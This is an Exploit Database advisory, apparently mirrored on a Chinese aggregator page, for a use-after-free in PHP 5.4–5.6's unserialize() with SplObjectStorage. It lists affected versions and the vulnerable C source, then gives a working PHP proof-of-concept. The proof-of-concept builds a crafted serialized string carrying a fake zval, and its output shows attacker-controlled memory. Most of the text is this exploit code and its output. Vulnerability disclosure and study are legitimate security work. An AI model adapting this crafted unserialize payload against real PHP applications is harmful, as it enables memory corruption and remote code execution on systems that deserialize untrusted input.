PHP 5.4/5.5/5.6 – SplObjectStorage ‘Unserialize()’ Use-After-Free

• Exploit Database
• 71 阅读

• 作者： Taoguang Chen
  日期： 2015-09-09
• 类别：

  • dos
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/38122/

• Yet Another Use After Free Vulnerability in unserialize() with SplObjectStorage
  
  Taoguang Chen <[@chtg](http://github.com/chtg)> 
  Write Date: 2015.8.27 
  Release Date: 2015.9.4
  
  A use-after-free vulnerability was discovered in unserialize() with SplObjectStorage object's deserialization and crafted object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.
  
  Affected Versions
  ------------
  Affected is PHP 5.6 < 5.6.13
  Affected is PHP 5.5 < 5.5.29
  Affected is PHP 5.4 < 5.4.45
  
  Credits
  ------------
  This vulnerability was disclosed by Taoguang Chen.
  
  Description
  ------------
  
  
  ALLOC_INIT_ZVAL(pentry);
  if (!php_var_unserialize(&pentry, &p, s + buf_len, &var_hash TSRMLS_CC)) {
  zval_ptr_dtor(&pentry);
  goto outexcept;
  }
  if(Z_TYPE_P(pentry) != IS_OBJECT) {
  goto outexcept;
  }
  ALLOC_INIT_ZVAL(pinf);
  if (*p == ',') { /* new version has inf */
  ++p;
  if (!php_var_unserialize(&pinf, &p, s + buf_len, &var_hash TSRMLS_CC)) {
  zval_ptr_dtor(&pinf);
  goto outexcept;
  }
  }
  
  
  It has been demonstrated many times before that __wakeup() leads to
  ZVAL is freed from memory. However during deserialization will still
  allow to use R: or r: to set references to that already freed memory.
  It is possible to use-after-free attack and execute arbitrary code
  remotely.
  
  Proof of Concept Exploit
  ------------
  The PoC works on standard MacOSX 10.11 installation of PHP 5.6.12.
  
  
  <?php
  
  class obj {
  var $ryat;
  function __wakeup() {
  $this->ryat = 1;
  }
  }
  
  $fakezval = ptr2str(1122334455);
  $fakezval .= ptr2str(0);
  $fakezval .= "\x00\x00\x00\x00";
  $fakezval .= "\x01";
  $fakezval .= "\x00";
  $fakezval .= "\x00\x00";
  
  $inner = 'x:i:1;O:8:"stdClass":0:{},i:1;;m:a:0:{}';
  $exploit = 'a:5:{i:0;i:1;i:1;C:16:"SplObjectStorage":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;R:6;i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}';
  
  $data = unserialize($exploit);
  
  var_dump($data);
  
  function ptr2str($ptr)
  {
  $out = '';
  for ($i = 0; $i < 8; $i++) {
  $out .= chr($ptr & 0xff);
  $ptr >>= 8;
  }
  return $out;
  }
  
  ?>
  
  
  Test the PoC on the command line:
  
  
  $ php uafpoc.php
  array(5) {
  [0]=>
  int(1)
  [1]=>
  &int(1)
  [2]=>
  object(obj)#3 (1) {
  ["ryat"]=>
  &int(1)
  }
  [3]=>
  int(1122334455)<===so we can control the memory and create fake ZVAL :)
  [4]=>
  string(24) "?v?B????"
  }
  

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